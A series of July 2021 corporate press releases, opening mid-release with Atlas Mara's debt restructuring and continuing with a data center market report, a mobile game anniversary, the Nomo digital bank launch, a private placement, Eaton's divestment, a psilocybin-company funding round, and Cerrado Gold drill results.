proceeds received in respect of the Group's on-going strategic divestments will be held by Wilmington Trust, acting as Global Agent, to support repayments of the Company's and ABCH's creditors in accordance with agreed 'waterfall' arrangements;

Participating Creditors have agreed to either support, or not object to, the Company and ABCH proposing a restructuring procedure if required, including a UK restructuring plan, UK scheme of arrangement or a scheme of arrangement under Part IX of the British Virgin Islands Business Companies Act 2004, to ensure that all of the Company's financial creditors become bound by the terms of the Support and Override Agreement;

the Support and Override Agreement also governs, and provides a stable framework for, the Company's ongoing liquidity needs - current projections show that the Support and Override Agreement will allow the Company to meet its liquidity needs for the duration of the term of the Support and Override Agreement ;

the Support and Override Agreement also requires the Company to consider taking steps to cancel the listing and admission to trading on the London Stock Exchange of the Company's shares in order to reduce costs and administrative burden since the listing does not generate sufficient benefit to the Company, and in the context of the on-going strategic review. The Company will update the market regarding any such delisting and the steps required in order to implement it or other strategic options; and

the Support and Override Agreement will terminate either automatically, or upon notice from certain Participating Creditors, if specific criteria are not met, such as divestment milestones or any successful liquidation applications.

The Company remains focused on executing on its strategic review and divestiture programme, to maximize value for its creditors and other stakeholders. As previously updated, the Company has entered into agreements with respect to its assets in Mozambique, Rwanda, Tanzania, and Botswana, and hereby provides the following updates. As previously announced, the transaction with respect to its investment in Mozambique was completed in May 2021. The Company has secured regulatory approval for the transactions with respects to its investments in Rwanda and Botswana, and parties are now in the process of concluding pre-completion conditions. Regulatory approval is pending with respect to the transaction with respect to its investment in Tanzania.

In parallel, the Company continues discussions with certain creditors with smaller claims and who are not currently party to the Support and Override Agreement. Further, the Company is robustly contesting TLG's liquidation application, which the Company believes is without merit and not in the best interests of the Company's creditors nor TLG itself. As demonstrated by the Support and Override Agreement, the Company continues to have support from a significant majority of its creditors and intends to continue working towards the successful implementation of its restructuring and divestiture programme in order to maximise value for the benefit of its creditors as a whole, and other stakeholders, and as previously announced, recognizing that there is a risk of insufficient value for shareholders if the Company is unable to do so.

As previously updated, these actions pertain only to the Group's holding company structure and do not impact the subsidiary banks, which operations continue in the ordinary course. The Company will update the market with any further material developments in respect of the strategic review including the on-going divestments, the TLG application, and the Support and Override Agreement.

Contact Details:

Investors

Kojo Dufu, +1 212 883 4330

Media

Apella Advisors, +44(0) 7818 036 579

Anthony Silverman

About Atlas Mara

Atlas Mara Limited (LON: ATMA) is a financial institution listed on the London Stock Exchange. For more information, visit www.atlasmara.com.

This information is provided by RNS, the news service of the London Stock Exchange. RNS is approved by the Financial Conduct Authority to act as a Primary Information Provider in the United Kingdom. Terms and conditions relating to the use and distribution of this information may apply. For further information, please contact rns@lseg.com or visit www.rns.com.

SOURCE: Atlas Mara Limited

View source version on accesswire.com:https://www.accesswire.com/655537/Atlas-Mara-Announces-Successful-Restructuring
The "Ireland Data Center Market Investment Analysis and Growth Opportunities 2021-2026" report has been added to ResearchAndMarkets.com's offering.

In-depth Analysis and Data-driven Insights on the Impact of COVID-19 Included in this Ireland Data Center Market Report

Ireland data center market to witness a CAGR of 5.47% during the period 2021-2026

Ireland is one of the fastest-growing data center hubs in Europe. Over the past 5-7 years, the market has grown significantly, increasing the development of hyperscale data centers. The country is witnessing investments in about 20 facilities expected to be operational in the next 2-4 years. It is a favorable location for data center development due to the abundant availability of renewable energy to power data centers and the easy availability of free cooling solutions. In Ireland, over 40% of the energy mix is contributed by renewable energy and is expected to reach 70% by 2030. The majority of data center facilities under development are adding an IT power of over 15 MW.

The report considers the present scenario of the Ireland data center market and its market dynamics for the forecast period 2021-2026. It covers a detailed overview of several growth enablers, restraints, and trends in the market. The study includes the demand and supply aspects of the market.

KEY HIGHLIGHTS OF THE REPORT

TikTok is planning to build a USD 500 million data center in Dublin to store the data of its local users that are expected to be operational by 2022.

Self-built facilities by hyperscale operators will impede the growth in revenue of wholesale providers in the country.

According to Vodafone, in Ireland, there was an 18% YoY increase in the adoption of IoT technologies by businesses in 2020.

Hyperscale investment to increase white-box and software-defined storage (SDS) adoption in the country.

The market in Ireland is witnessing significant growth in the adoption of free cooling systems, for a maximum of 8,000 hours per year.

IRELAND DATA CENTER MARKET INSIGHTS

In 2020, the Ireland data center market witnessed investments from enterprise operators like Facebook and colocation service providers such as CyrusOne, Digital Realty, Echelon Data Centres, T5 Data Centers, and JCD Group.

More than 60% of the business organizations have adopted public or private cloud for at least one service in the country, which is expected to reach 80% during the forecast period.

The rising investments in submarine cables are likely to attract more data center investments across Ireland, especially with the growing demand for hyperscale capacity.

The government in the country is offering various support schemes for sustainable power systems and efficient designing schemes for data center construction.

Increasing the adoption of IoT devices in smart cities homes, healthcare, automation industry, and new businesses in the country will increase the data volume, increasing edge data center investments after 2022.

Echelon Data Centres is developing an on-site substation that connects with Irish wind turbines to power its DUB20 data center.

Amazon Web Services is investing in three cloud facilities across the country, expected to be operational in the next two to three years.

REPORT COVERAGE

This report offers analysis on the Ireland Data Center market share and in-depth analysis of the existing and upcoming facilities, datacenter investments in terms of IT, electrical, mechanical infrastructure, general construction, and geography. It discusses sizing and estimation for different segments to the investment in data centers.

Key Topics Covered:

Chapter 1: Existing Upcoming Third-Party Data Centers In Ireland

Chapter 2: Investment Opportunities In Ireland

Chapter 3: Data Center Colocation Market In Ireland

Chapter 4: Market Dynamics

Chapter 5: Market Segmentation

Chapter 6: Tier Standards Investment

Chapter 7: Geographic Segmentation

Chapter 8: Key Market Participants

Chapter 9: Appendix

Companies Mentioned

Arista Networks

Atos

Broadcom

Cisco Systems

Dell Technologies

Hewlett Packard Enterprise (HPE)

Huawei Technologies

IBM

Lenovo

NetApp

Arup Group

Bouygues Construction

Callaghan Engineering

Designer Group

Future-tech

ISG

Kirby Group

Mercury Engineering

Mace Group

M+W Group

PM Group

Winthrop Engineering and Contracting

ABB

Caterpillar

Cummins

Eaton

HITEC Power Protection

KOHLER-SDMO

Legrand

Rolls-Royce Power Systems

Rittal

Schneider Electric

Socomec

STULZ

Trane Technologies, and Vertiv

Amazon Web Service (AWS)

CyrusOne

Digital Realty

Equinix

EdgeConneX

Echelon Data Centres

K2 Data Centres

Facebook

T5 Data Centers

For more information about this report visit https://www.researchandmarkets.com/r/80kl1z

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005774/en/

Contacts:

ResearchAndMarkets.com

Laura Wood, Senior Press Manager

press@researchandmarkets.com



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Free-to-Play Mobile Strategy MMO Adds New Game Mode, Storyline, and Battle Alongside Limited-Time Anniversary Celebrations

King of Avalon Surpasses One Billion Dollars in Revenue According to App Annie Data

King of Avalon the free-to-play mobile strategy MMO developed by FunPlus studio KingsGroup, is celebrating five years of medieval adventures inspired by the legend of King Arthur. Throughout July, King of Avalon players can experience major game updates, such as the Tower Defense game mode, as well as participate in limited-time anniversary events like Circus Invasion and Rainbow's Maze.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005793/en/

King of Avalon Celebrates Five-Year Anniversary With Major Game Updates and Events in July (Graphic: Business Wire)

In celebration of five years as one of the world's most popular mobile strategy games, King of Avalon is introducing a wide variety of brand-new content headlined by a fresh yet classic game mode, Tower Defense. Other additions include the Recapture of Holy City storyline, an Alliance-based PvEvP feature known as Battle of Drake Valley, a new story setting for beginners, and a game-wide art update to the user interface and graphics.

In-game anniversary events started on July 1 with the Photo Contest ending July 13 and Sign-in Memoirs celebration, which concludes today, July 14. The party continues with the Circus Invasion from July 14-20, Rainbow's Maze from July 21-27, and a Tarot Card Prize Pool of Five Billion Gold, available from July 14-20. During this period, players can collect Tarot Cards from participating in daily events or purchasing bundles from the shop; when finishing a Tarot Card collection, players will have a chance to win a random quantity of gold from the Prize Pool.

For more information on FunPlus, visit http://www.FunPlus.com. For more information on King of Avalon, visit http://www.KingofAvalon.game. Find visual assets available here.

About King of Avalon

Launched on July 14, 2016, King of Avalon is a mobile 4X strategy MMO inspired by the legend of King Arthur. Players must build a powerful empire from scratch by upgrading buildings, enhancing the strength of their army, forming player alliances, and conquering the surrounding world of medieval Europe. King of Avalon is a bestseller in nearly 70 countries and has over 100 million global downloads.

About FunPlus

Founded in 2010, FunPlus is a world-class, independent game developer and publisher headquartered in Switzerland with operations in Spain, Sweden, Russia, United States, Singapore, Japan, and China. As an organization that fosters the best creative talent in the world and employs nearly 2,000 people, the company has developed and published mobile games that have ranked in the #1 spot in nearly 70 countries, which includes State of Survival, King of Avalon and Guns of Glory. FunPlus studios include KingsGroup, Puzala, Seven Games and Imagendary Studios, each part of a growing global network of developers working on unique brands of staple genres including strategy, puzzle, and role-playing games.

The FunPlus brand powers FunPlus Phoenix (FPX), one of the world's most successful esports organizations.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005793/en/

Contacts:

Jamie King

jamie_king@bhimpact.com
- Nomo, part of the Boubyan Bank Group, offers Sharia-compliant UK bank accounts and financial management services for clients in Kuwait and the Middle East region

- Nomo, a fully digital bank provides a mobile-first banking experience for affluent, tech-savvy consumers currently undeserved by traditional banking platforms.

- "Nomo combines international coverage and technical excellence to take Islamic digital banking to the next level." Adel Al-Majed, Boubyan Bank Group CEO and BLME Chairman

A new dawn for Islamic digital banking

KUWAIT CITY, July 14, 2021 /PRNewswire/ -- Boubyan Bank Group today announces the launch of Nomo, a fully licensed and regulated UK Islamic digital bank catering for customers with a global financial outlook. Nomo has launched as a brand name of the UK-based Bank of London and The Middle East (BLME), in which Boubyan Bank is a majority shareholder.

Nomo has been developed to accommodate a growing segment of individuals in the Middle East with international banking needs. Nomo provides a digital solution for accessing, moving, and investing money in the UK and internationally with ease and assurance.

Eligible customers from Kuwait will be able to open their new UK account in minutes through the cutting-edge and intuitive Nomo iPhone app, providing them with the ability to make seamless international payments in GBP () and USD ($) and transact through a virtual and/or digital MasterCard debit card. Nomo also caters to its customers through a range of innovative digital banking products.

Boubyan Bank Group CEO and BLME Chairman, Adel Al-Majed, said: "Nomo part of BLME is a fully licensed UK bank, offering a unique opportunity for customers to benefit from one of the most prestigious banking systems in the world.





As well as daily banking services, Nomo provides Sharia-compliant investment opportunities by offering fixed-term deposits. Boubyan Group has proudly pioneered this state-of-the-art digital bank that provides Islamic digital banking services, accessible from anywhere in the world."

Al-Majed added: "Most Islamic banks across the wider GCC region are behind the global digital curve in terms of the digital products and services being offered to customers. Nomo aims to propel Islamic digital banking towards a more innovative future where the priority is customer convenience on an international scale.

"To achieve this, we've put together a carefully selected team of global digital banking and payments experts to help us create the future of Islamic international digital banking."

Andrew Ball, CEO of BLME, said: "UK banks are admired around the world for their stability, resilience and high levels of governance. Digitization will enable customers in the Middle East to open and enjoy the benefits of a UK bank account in the knowledge that it also meets their Sharia principles and beliefs.

"In Nomo, we have brought together an impressive team from global digital and neo banks with a depth of experience in creating digitized banking systems. We have made substantial progress in a short period of time, and I look forward to working with the team as we continue to build the bank."

Nomo is a trading name of BLME. BLME is authorized by the Prudential Regulation Authority and regulated by the Financial Conduct Authority and the Prudential Regulation Authority. Nomo deposits of up to 85,000 are protected by the FSCS (Financial Services Compensation Scheme), which safeguards bank deposits in the UK

Boubyan Bank Group acquired a majority shareholding in BLME Holdings plc in 2020.

For more information, visit nomobank.com.

Twitter: @nomo_bank

Instagram: @nomobank

Facebook: @NomobankGB

LinkedIn: @Nomo

Qutayba Al-Bassam,

Executive Manager - Corporate Communications

qalbassam@bankboubyan.com

+965 2232 5075

Photo - https://mma.prnewswire.com/media/1574308/Adel_Al_Majed.jpg

Photo - https://mma.prnewswire.com/media/1574306/Andrew_Ball.jpg

Photo - https://mma.prnewswire.com/media/1574307/Nomo_New_App.jpg
Calgary, Alberta--(Newsfile Corp. - July 14, 2021) - Wilton Resources Inc. (TSXV: WIL) (the "Corporation") is pleased to announce that it closed its previously announced non-brokered private placement of units in the capital of the Corporation ("Units") at a purchase price of $0.35 per Unit (the "Offering Price"), which was oversubscribed for total aggregate gross proceeds of $427,501.20 (the "Offering"). The principal use of the proceeds of the Offering will be for general corporate purposes and as a reserve to pursue the acquisition of an international oil and gas property.

Each Unit is comprised of one common share in the capital of the Corporation ("Common Share") and one Common Share purchase warrant ("Warrant"). Each Warrant entitles the holder to purchase one Common Share for a period of 24 months following the closing date of the Offering at an exercise price of $0.40 (the "Exercise Price").

No commission, finder's fee or similar payment (whether in the form of cash, securities or an interest in assets) were paid by the Corporation in connection with the Offering.

The Common Shares and Warrants issued in connection with the Offering and the Common Shares underlying the Warrants are subject to a statutory hold period of four months plus one day from the date of completion of the Offering, in accordance with applicable securities legislation.

In connection with closing of the Offering, 428,571 Units were issued to an Insider of the Corporation (as such term is defined under the policies of the TSX Venture Exchange). The participation of the Insider in the Offering constitutes a "related party transaction" within the meaning of Multilateral Instrument 61-101 - Protection of Minority Security Holders in Special Transactions ("MI 61-101"). The Corporation is relying upon exemptions from the formal valuation and minority approval requirements of MI 61-101 based on a determination that the fair market value of the Offering, insofar as it involves the related party, does not exceed 25% of the market capitalization of the Corporation. The Corporation was not in a position to file a material change report more than 21 days in advance of the closing of the Offering, as the participation of the related party was not confirmed at that time.

The Offering was approved by the Corporation's board of directors by means of a unanimous resolution. In connection with the closing of the Offering, Mr. Glenn Smith subscribed for a total of 428,571 Units. As a result of his participation in the Offering, the percentage of the total outstanding Common Shares of the Corporation controlled by Mr. Smith, on an undiluted basis, increased by approximately 0.12%. Mr. Smith now has beneficial ownership of an aggregate of 9,068,427 Common Shares and 3,021,427 Warrants, representing approximately 14.48% of the Corporation's 62,590,262 issued and outstanding Common Shares on an undiluted basis and approximately 14.88% on a partially-diluted basis.

The TSX Venture Exchange provided final acceptance of the Offering on July 13, 2021.

For more information concerning the Corporation, please refer to the Corporation's profile on the SEDAR website at www.sedar.com.

Forward-Looking Information

Certain statements contained in this press release constitute forward-looking information. These statements relate to future events or future performance. The use of any of the words "intend", "may", "will", "expect", and similar expressions and statements relating to matters that are not historical facts are intended to identify forward-looking information and are based on the Corporation's current beliefs or assumptions as to the outcome and timing of such future events. Actual future results may differ materially. In particular, this press release contains forward-looking information with respect to the principal uses of the proceeds of the Offering. Various assumptions or factors are typically applied in drawing conclusions or making the forecasts or projections set out in forward-looking information. Those assumptions and factors are based on information currently available to the Corporation. The material facts and assumptions include the intended use of proceeds remaining in the best interests of the Corporation. The Corporation cautions the reader that the above list of risk factors is not exhaustive. The forward-looking information contained in this release is made as of the date hereof and the Corporation is not obligated to update or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as required by applicable securities laws. Due to the risks, uncertainties and assumptions contained herein, investors should not place undue reliance on forward- looking information. The foregoing statements expressly qualify any forward-looking information contained herein.

For more information, please contact:

Wilton Resources Inc.

Richard Anderson

Chief Executive Officer and President

(403) 619-6609

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accept responsibility for the adequacy or accuracy of the content of this release.

Not for distribution to U.S. Newswire Services or for dissemination in the United States. Any failure to comply with this restriction may constitute a violation of U.S. Securities Laws.

THE SECURITIES OFFERED HAVE NOT BEEN REGISTERED UNDER THE U.S. SECURITIES ACT OF 1933, AS AMENDED, AND MAY NOT BE OFFERED OR SOLD IN THE UNITED STATES ABSENT REGISTRATION OR AN EXEMPTION FROM THE REGISTRATION REQUIREMENTS. THIS PRESS RELEASE SHALL NOT CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY NOR SHALL THERE BE ANY SALE OF THE SECURITIES IN ANY STATE IN WHICH SUCH OFFER, SOLICITATION OR SALE WOULD BE UNLAWFUL.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90242
Sale expected to close in the next several weeks

Power management company Eaton (NYSE:ETN) is pleased to announce that it has reached two important milestones in the closing of the sale of its Hydraulics business to Danfoss A/S.

First, the U.S. Department of Justice (DOJ) has filed a proposed settlement in the U.S. District Court for the District of Columbia today that, if approved by the court, resolves the DOJ's concerns with Danfoss's acquisition of Eaton's Hydraulics business.

The settlement requires the sale of certain orbital motor and steering unit assets to Interpump Group S.p.A., or to another entity approved by the DOJ. This sale does not have to be completed, however, prior to the closing of the company's transaction with Danfoss.

Eaton and Danfoss have already agreed to the proposed settlement.

Second, the European Commission approved Interpump as a suitable purchaser of the orbital motor and steering assets. These assets were required to be divested by the European Commission under the conditional approval granted in March 2021.

"We are excited to reach these important milestones and look forward to closing the transaction, which we currently expect to occur in the next several weeks," said Craig Arnold, Eaton chairman and chief executive officer. "We appreciate the careful consideration of the Department of Justice and the European Commission, as well as the other regulators who reviewed the transaction."

Eaton's mission is to improve the quality of life and the environment through the use of power management technologies and services. We provide sustainable solutions that help our customers effectively manage electrical, hydraulic, and mechanical power more safely, more efficiently, and more reliably. Eaton's 2020 revenues were $17.9 billion, and we sell products to customers in more than 175 countries. We have approximately 94,000 employees. For more information, visit Eaton.com.

This news release contains forward-looking statements about the expected closing of the sale of our Hydraulics business. These statements should be used with caution and are subject to various risks and uncertainties, some of which are outside of the company's control. Factors that could cause these statements to become untrue include possible delay or difficulty closing the transaction. We do not assume any obligation to update these forward-looking statements.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005862/en/

Contacts:

Kelly Jasko, Media Relations, +1 (440) 523-5304

kellymjasko@eaton.com

Yan Jin, Investor Relations, +1 (440) 523-7558
Los Angeles, California and Calgary, Alberta--(Newsfile Corp. - July 14, 2021) - Leiio Wellness Ltd. ("Leiio" or the "Company"), a U.S. focused, premium brain performance brand centered around psychedelic mushrooms, is pleased to announce it has completed a second capital raise securing an additional $3.5 million to accelerate growth. The round was joined by existing and new investors, bringing total funds raised to approximately $5.5 million over the past five months. The closing today puts Leiio in the position to quickly advance early revenue-producing assets.

Founded in 2021, Leiio has a well-defined, vertically-integrated business model within the emerging psychedelic marketplace. The Company intends to actively grow its customer base through a premium line of direct-to-consumer nutraceuticals specifically formulated to work synergistically with psilocybin microdoses. Leiio plans to generate early revenue streams in established legal markets, build brand relationships with consumers and established household names in the functional foods sector, and create Intellectual Property (IP) around developing a standardized, naturally derived psilocybin supply chain for researchers and clinics. As research progresses and legal frameworks are established, Leiio is positioning itself to become the trusted market leader in widely available, self-administered psilocybin sub-hallucinogenic consumer products once legalized.

"Our capital raise comes at a defining moment for Leiio," stated Cory Rosenberg, Leiio's Co-Founder and Chief Executive Officer. "The new capital will help finance our ongoing lab and mushroom cultivation expansions to meet the demand for Leiio's premium 100 percent grain-free functional mushroom products and fast-track the launch of our market-defining, direct-to-consumer nutraceutical product line. It also allows us to further our IP research into psilocybin and related compounds and continue the buildout of our naturally-derived psilocybin supply chain in the U.S. under our pending DEA license, which is expected later this year."

In March, Leiio completed a $2 million private placement which supported the Company's buildout of a 15,000 sq. ft. grow and production facility in Olympia, Washington. Producing some of the only true full-spectrum, grain-free functional mushroom products in the United States, Leiio has entered into several agreements with top brands in the U.S. functional foods market to supply and incorporate its premium functional mushroom ingredients in existing and future product offerings.

Leiio currently houses one of the largest and rarest libraries of psilocybin mushroom cultures and growing, allowing it unparalleled access to research and development of transformative products in the brain health and performance markets. Later this year, the Company will begin producing psilocybin mushrooms for early IP and research purposes once DEA licensed.

ABOUT LEIIO

Leiio is a U.S. vertically-integrated premium brain performance brand centered around mushrooms. Its vertical supply chain develops and supplies USA-grown, 100% grain-free full-fungi functional mushrooms to its in-house consumer brand and a finely curated network of leading wholesale partners, and is developing novel IP around the safe, standardized, naturally-derived psilocybin supply chain and end-products development for use in clinical and research applications as well as eventual commercialized products for more broad and self-administered mental health and wellness applications upon regulatory and legal approvals.

For additional information, please contact:

Cory Rosenberg

Chief Executive Officer

E: info@Leiio.com

W: Leiiowellness.com

FORWARD-LOOKING STATEMENTS

This press release contains forward-looking statements which reflect Leiio's current beliefs and are based on information currently available to Leiio. These statements require Leiio to make assumptions it believes are reasonable and are subject to inherent risks and uncertainties. Actual results and developments may differ materially from the results and developments discussed in the forward-looking statements as certain of these risks and uncertainties are beyond Leiio's control. Although Leiio believes that the expectations and assumptions on which such forward-looking statements are based are reasonable, undue reliance should not be placed on the forward-looking statements because Leiio can give no assurance that they will prove to be correct.

The Company intends to actively grow its customer base through a premium line of direct-to-consumer nutraceuticals specifically formulated to work synergistically with psilocybin microdoses, while simultaneously developing psilocybin protocols and proprietary sub-hallucinogenic consumer products for eventual commercialization once legalized. This forward-looking statement is based on certain assumptions including, but not limited to, the expected future legalization of psilocybin and the ability of Leiio to obtain any required regulatory approvals, including the contemplated DEA license. It is also subject to certain risks including, but not limited to, the risk that psilocybin is not legalized, or is not legalized within a timeframe that allows the Company to succeed, the risk that Leiio is unable to obtain necessary regulatory approvals, including the contemplated DEA license, and the risk that Leiio is not able to raise sufficient capital to execute on its business plan or that its business plan itself is not successful and Leiio is not able to adapt.

Readers are cautioned not to place undue reliance on these forward-looking statements, which are given as of the date hereof, and to not use such forward-looking statements for anything other than their intended purpose. Leiio undertakes no obligation to update publicly or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law.

This press release shall not constitute an offer to sell or the solicitation of an offer to buy these securities, nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to the registration or qualification under the securities laws of any such jurisdiction.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90267
Toronto, Ontario--(Newsfile Corp. - July 14, 2021) - Cerrado Gold Inc. (TSXV: CERT) ("Cerrado" or the "Company") is pleased to announce further assay results from its Phase 2 drill program at the Serra Alta deposit at its Monte do Carmo Project located in Tocantins State, Brazil ("MDC"). Phase 2 started in late May targeting further extensional areas in Serra Alta and is also targeting adjacent satellite deposits aiming to better define the district potential. Phase 2 follows the successful completion of Phase 1 that focused on infill and extension drilling exclusively in the Serra Alta deposit, and which results are the basis for the resource update, expected for later this month. A new Preliminary Economic Assessment is expected to be completed in early August. The Company is reporting assay results from 9 drill holes (see tables 1 & 2), out of a total of 16 drill holes completed as of July 11 as part of Phase 2.

Drill Hole Highlights (All composites are reported as true thickness):

FSA-150

4.43m at 3.81 g/t Au, from 346.40m

FSA-151

5.84m at 6.00 g/t Au, from 189.04m including 2.93m at 10.16 g/t Au from 191.0m

10.77m at 2.83 g/t Au, from 205.60m

FSA-157

5.47m at 1.62 g/t Au, from 464.99m

FSA-159

41.65m at 2.51 g/t Au, from 69.75m including 11.33m at 6.86 g/t Au from 70.78m



Mark Brennan, CEO and Co-Chairman commented, "We are pleased with the ongoing drill results supporting our overall hypothesis for the potential at Serra Alta and the greater district scale opportunity we see to materially grow the scale of the Monte Do Carmo resource base. He continued, "We continue to await the updated resource estimate and Preliminary Economic Assessment for the Serra Alta deposit, which we believe should demonstrate a strong base from which to grow."

The Phase II drill program plan includes a total of 14,00m of drilling at the Serra Alta Deposit (Figure 1) and other satellites including Capitao, Fartura and Ferradura.

The assays results reported in this press release were received up until July 12, 2021, and the full extent of nine diamond drill holes, totaling 3,583m completed in Serra Alta. As of July 11, ten holes have been completed in Serra Alta extensional areas (assays pending for one hole), four drill holes have been competed in Capitao (with 2 additional ones in progress), and two holes have been completed in the Fartura Target (with one in progress). Assays results of the satellites targets are still pending.

Phase 1 results jointly with the ongoing resource update, has allowed the Company to refine considerably the understanding of the controls on mineralization including: host rock, proximity to intrusive contact zones, relevant hydrothermal alteration, and late offsetting structures. Quartz veins and gold mineralization tend to blossom along the granite contact with felsic volcanic and quartzites. The contact zone is segmented along strike by late faults that juxtapose blocks with different geometry and vein density. This empiric model is being applied in the drill planning and interpretation of early results in the new satellite target areas. District scale exploration started on the Capitao and Ferradura zones, currently the highest ranked targets outside Serra Alta in Cerrado's property holdings based upon historical data and recent surface work.

Serra Alta Assays Results

Most of the drill holes reported extended into zones beyond the current high-grade domain modeled in Serra Alta after the Phase 1 Results (see accompanying cross sections https://www.cerradogold.com/mdccrosssections) The high-grade domain volume effectively constrains the extent of the updated resource estimate currently being conducted by Micon International.

Drill hole FSA 149 and FSA-157 (drilled after deviated original hole FSA-153) were collared at the eastern half of the East Zone, fault bounded block, and successfully expanded laterally the boundaries of the gold mineralization. In both cases results show new parallel mineralized trends. Hole FSA-157 intercepted a new zone located 70m east of the current high-grade domain proving additional lateral extensional potential in the East zone. This extension reflects lateral continuity of the key geological controls, including high vein density and proximity to the intrusive contact zone between the hosting granite and the felsic volcanics/quartzites.

Drill hole FSA-159 was collared in the East Zone and drilled in the granite following a parallel trajectory to the intrusive contact between the granite and the felsic volcanic unit (approximately 12 m below the contact). Results (41.65m at 2.51 g/t Au, from 69.75m) confirm the thesis of higher vein intensity and width of the high-grade domain along the contact zone.

Drill Hole 151 did not honor completely the shape of the modeled high-grade zone in the southern edge of the East zone missing the central area but continues extending the eastern edge of the mineralization.

Drill holes FSA-152 and FSA-154 failed to extend the continuity of the extreme southern zone.

There are several additional extensional areas already identified in Serra Alta deposit that will be targeted later this year as part of the Phase 2 program.

Capitao Drilling

The Capitao Target is located 6 km to the south of Serra Alta along the same granite complex contact zone.

Four holes (FCP-001 to 004) have been completed in Capitao, two of them carrying visible gold. Assay results are pending. Capitao mineralization, as observed in drill core, shows remarkable resemblance with the Serra Alta granite intrusion hosted quartz/gold. Mineralized granite areas in Capitao are also proximal to the intrusive contacts with equivalent quartzite and Devonian horizontal sediment. As is the case in Serra Alta, mineralization is associated with quartz veins and sulphides (pyrite + galena + chalcopyrite) with a chloritic dominated alteration assemblage. Mineralization has been followed for a strike length of 400m.

The area between Capitao and Serra Alta, along the mentioned contact zone, is characterized by a few other targets including Sucuri and El Dorado where current exploration efforts include trenching, mapping, and geochemical soils sampling. Follow up drilling is planned subject to the results of the current work programs. El Dorado has the potential to extend Serra Alta to the South West as it is directly along strike.

Fartura Drilling

The Fartura Target is located 2 km to the northwest of Serra Alta, also sitting along the granite complex contact zone.

Two holes (FFA-001 to 002) have been completed in Fartura; assays are pending. Core Logging and revised surface geological mapping confirmed that the host rock of the shalow mineralization (mined informally on surface) in Fartura is a porphyritic felsic volcanic. The two completed holes show intervals with visible gold along a corridor of ~ 100m strike length.

The fact that relevant quartz veining and visible gold is found in felsic volcanics is very encouraging as the intensity of mineralization is expected to increase in underlying grantic rock. Additional drilling will target a posible contact zone underneath the feslsic volcanics, following the Serra Alta model that has demonstrated that better grades and continuity are expected in the more permissive granitic rock, especially in proximal intrusive contact zones.

Exploration Strategy

Cerrado's overarching exploration approach in the Monte Do Carmo district continues to be a parallel process. First to define as accurately as possible the geology and mineralization continuity of Serra Alta, the most advanced target and conceptual anchor deposit; and secondly use this knowledge to test the full strike of the permissive contact zone to understand the overall district potential. It is Cerrado's belief based upon surface indications from garimpos (artisanal mining), geochem anomalies and outcropping vein zones, jointly with sparce relevant historic drilling along this domain, that there is high probability of discovery of substantial additional mineralization potential resembling Serra Alta scale and tenor along the contact zone. The exploration objective is to ultimately define a multimillion ounce gold district that will support a long-standing mining project.

Resource Update

As previously disclosed, Cerrado has retained Micon International to complete a resource update after the successful Phase 1 drill program completed in April. This resource update is expected for later this month and will be follow by a new PEA study in early August.

Table 1. Drill hole information

Hole_ID Easting Northing Elevation DEPTH (m) dip() Azimuth FSA-149 820,731 8,810,507 662 600.79 -38.9 130 FSA-150 820,685 8,810,456 672 565.93 -40.6 130 FSA-151 820,531 8,810,271 524 487.71 -30.9 105 FSA-152 820,246 8,809,423 507 94.79 -31.9 110 FSA-153 820,697 8,810,300 680 513.98 -45.2 115 FSA-154 820,189 8,809,387 498 126.84 -43.6 110 FSA-155 820,646 8,809,934 564 506.27 -73.1 116 FSA-157 820,698 8,810,301 680 559.08 -45.7 113 FSA-159 820,603 8,810,325 582 127.61 -26.1 110





*Collar coordinates by GNSS TP-20 UTM Coordinates, Datum: SAD69 / zone 22S.

*Azimuth Set by compass

*Dip and drill hole trajectory by DEVIFLEX Devico





Figure 1. Drill Hole Location Map



To view an enhanced version of Figure 1, please visit:

https://orders.newsfilecorp.com/files/7487/90290_cfbe3eeb948f0ae2_002full.jpg





Table 2. Drill Hole Composites



To view an enhanced version of Table 2, please visit:

https://orders.newsfilecorp.com/files/7487/90290_table2.jpg

Quality Assurance and Quality Control

Analytical work was carried out by SGS Geosol International Lab (SGS). MDC sends half core samples for sample preparation to the lab. SGS prepares samples at Belo Horizonte and at the same facility performs gold assays by fire assay (FAA505) or metallic screen (FAASCR_150_Au-Grav), the coarse fraction of metallic screen is assayed at Belo Horizonte and alternatively in Lima, Peru.

SGS has routine quality control procedures which ensure that every batch of samples includes three sample repeats and at least two commercial standards and two blanks. Cerrado uses standard QA/QC procedures, inserting reference standards and blanks, for the drilling program. The Reference material used are from CDN Resource Laboratories Ltd. and ITAK (Instituto de Tecnologia August Kekule Ltda.).

Review of Technical Information

The scientific and technical information in this press release has been reviewed and approved by Sergio Gelcich., Vice President, Exploration for Cerrado Gold Inc., who is a Qualified Person as defined in National Instrument 43-101.

For further information please contact

Mark Brennan

CEO and Co Chairman

Tel: +1-647-796-0023

mbrennan@cerradogold.com

Nicholas Campbell, CFA

Director, Corporate Development

Tel: +1-905-630-0148

ncampbell@cerradogold.com

About Cerrado Gold

Cerrado Gold is a public gold producer and exploration company with gold production derived from its 100% owned Minera Don Nicolas mine in Santa Cruz province, Argentina. It also owns 100% of the assets of Minera Mariana in Santa Cruz province, Argentina. The company is also undertaking exploration at its 100% owned Monte Do Carmo project located in Tocantins, Brazil. For more information about Cerrado Gold please visit our website at: www.cerradogold.com.

Disclaimer

NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

